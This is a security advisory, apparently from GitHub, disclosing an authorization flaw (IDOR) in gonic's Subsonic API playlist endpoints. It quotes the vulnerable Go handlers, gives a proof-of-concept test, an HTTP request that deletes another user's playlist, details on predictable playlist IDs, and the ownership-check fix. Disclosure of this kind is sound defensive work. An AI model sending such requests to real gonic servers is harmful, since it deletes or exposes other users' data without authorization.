Subsonic API: any authenticated user can delete or read any other user's playlist (IDOR)

## Summary In gonic, the Subsonic API endpoints `/rest/deletePlaylist.view` and `/rest/getPlaylist.view` perform no per-resource authorization. Once authenticated as *any* user (admin or not), an attacker can: 1. **Delete any playlist owned by any other user** (including admin) by passing its `id`. 2. **Read the full contents** (name, comment, song list) of any other user's **private** (non-public) playlist by passing its `id`. The Subsonic playlist `id` is `base64url("<userID>/<filename>.m3u")`. Because filenames are user-supplied or time-derived and the `userID` is a small integer, IDs are guessable and frequently exposed (e.g. a previously-public playlist that was later made private still has the same ID). This breaks the multi-user trust boundary of gonic: a low-privileged user can wipe an administrator's curated playlists, and a user can exfiltrate any private playlist they obtain an ID for. ## Status This was originally disclosed to the maintainer by email and has been **fixed in commit `6dd71e6a3c966867ef8c900d359a7df75789f410`** (`fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist`, 2026-05-18). The fix has not yet been included in a tagged release; the latest tagged version `v0.20.1` is still vulnerable. Filing this advisory now that private vulnerability reporting is enabled on the repo, so the issue has a public record once the next release ships. ## Vulnerable code (pre-fix, at `v0.20.1` / commit `37090aa7`) **Delete IDOR** — `server/ctrlsubsonic/handlers_playlist.go` lines 177-187: ```go func (c *Controller) ServeDeletePlaylist(r *http.Request) *spec.Response { params := r.Context().Value(CtxParams).(params.Params) playlistID, err := params.GetFirstID("id", "playlistId") if err != nil { return spec.NewError(10, "please provide an `id` or `playlistId` parameter") } if err := c.playlistStore.Delete(playlistIDDecode(playlistID)); err != nil { return spec.NewError(0, "delete playlist: %v", err) } return spec.NewResponse() } ``` The handler never loads the playlist to check `playlist.UserID == user.ID`. Compare to `ServeUpdatePlaylist` (same file, line 138) which *does* perform this check. **Read IDOR** — `server/ctrlsubsonic/handlers_playlist.go` lines 51-68: ```go func (c *Controller) ServeGetPlaylist(r *http.Request) *spec.Response { params := r.Context().Value(CtxParams).(params.Params) playlistID, err := params.GetFirstID("id", "playlistId") if err != nil { return spec.NewError(10, "please provide an `id` parameter") } playlist, err := c.playlistStore.Read(playlistIDDecode(playlistID)) if err != nil { return spec.NewError(70, "playlist with id %s not found", playlistID) } // ... never checks playlist.UserID or playlist.IsPublic ... sub.Playlist = rendered return sub } ``` The listing endpoint `ServeGetPlaylists` (line 38) correctly filters by `playlist.UserID != user.ID && !playlist.IsPublic`, but the singular `getPlaylist` did not. ## Live PoC (passing Go test) A reproducer against the existing test fixture (`server/ctrlsubsonic`): ```go func TestIDOR_DeleteOtherUsersPlaylist(t *testing.T) { f := newFixture(t) victimRelPath := filepath.Join("1", "victim-private.m3u") _ = f.contr.playlistStore.Write(victimRelPath, &playlistp.Playlist{ UserID: f.admin.ID, Name: "victim-private", IsPublic: false, Items: []string{"/music/foo.flac"}, }) victimID := playlistIDEncode(victimRelPath).String() // f.alt is a non-admin, non-owner user body := f.query(t, f.contr.ServeDeletePlaylist, f.alt, url.Values{"id": {victimID}}) // Subsonic returns status="ok" and the file is gone. } ``` Test output: ``` --- PASS: TestIDOR_ReadOtherUsersPrivatePlaylist (0.07s) --- PASS: TestIDOR_DeleteOtherUsersPlaylist (0.07s) PASS ok go.senan.xyz/gonic/server/ctrlsubsonic 0.730s ``` ## Equivalent HTTP request ``` GET /rest/deletePlaylist.view?u=lowpriv&p=lowpriv&v=1&c=poc&f=json&id=cGwtMS1zaGFyZWQubTN1 ``` Response: `{"subsonic-response":{"status":"ok","version":"..."}}` — playlist is gone. ## Impact - **Integrity / Availability**: low-privileged users can delete any other user's playlists, including admin's curated lists. There is no undo. - **Confidentiality**: private playlists (including their comment fields) are readable by any authenticated user with an ID. IDs are predictable (`base64("<smallUserID>/<name>.m3u")`) and previously-public IDs persist after being marked private. - **Trust boundary**: gonic supports multiple users (`createUser`, non-admin role). This bug collapsed the user-to-user authorization model. ## Affected versions Latest tagged release `v0.20.1` and all prior versions back to when the playlist M3U store was introduced. Master HEAD is fixed at commit `6dd71e6a3c966867ef8c900d359a7df75789f410`. ## Suggested patch (applied by maintainer in `6dd71e6`) Load the playlist first and enforce ownership in both handlers: ```go // ServeGetPlaylist if playlist.UserID != user.ID && !playlist.IsPublic { return spec.NewError(50, "you aren't allowed to read that user's playlist") } // ServeDeletePlaylist if playlist.UserID != 0 && playlist.UserID != user.ID { return spec.NewError(50, "you aren't allowed to delete that user's playlist") } ``` This mirrors the existing ownership check already present in `ServeCreateOrUpdatePlaylist` (line 84) and `ServeUpdatePlaylist` (line 138). ## Credits Reported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).

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26 Jun 2026 23:33:24 UTC

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7 Jul 2026 16:11:07 UTC

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24 Oct 2026 13:19:41 UTC

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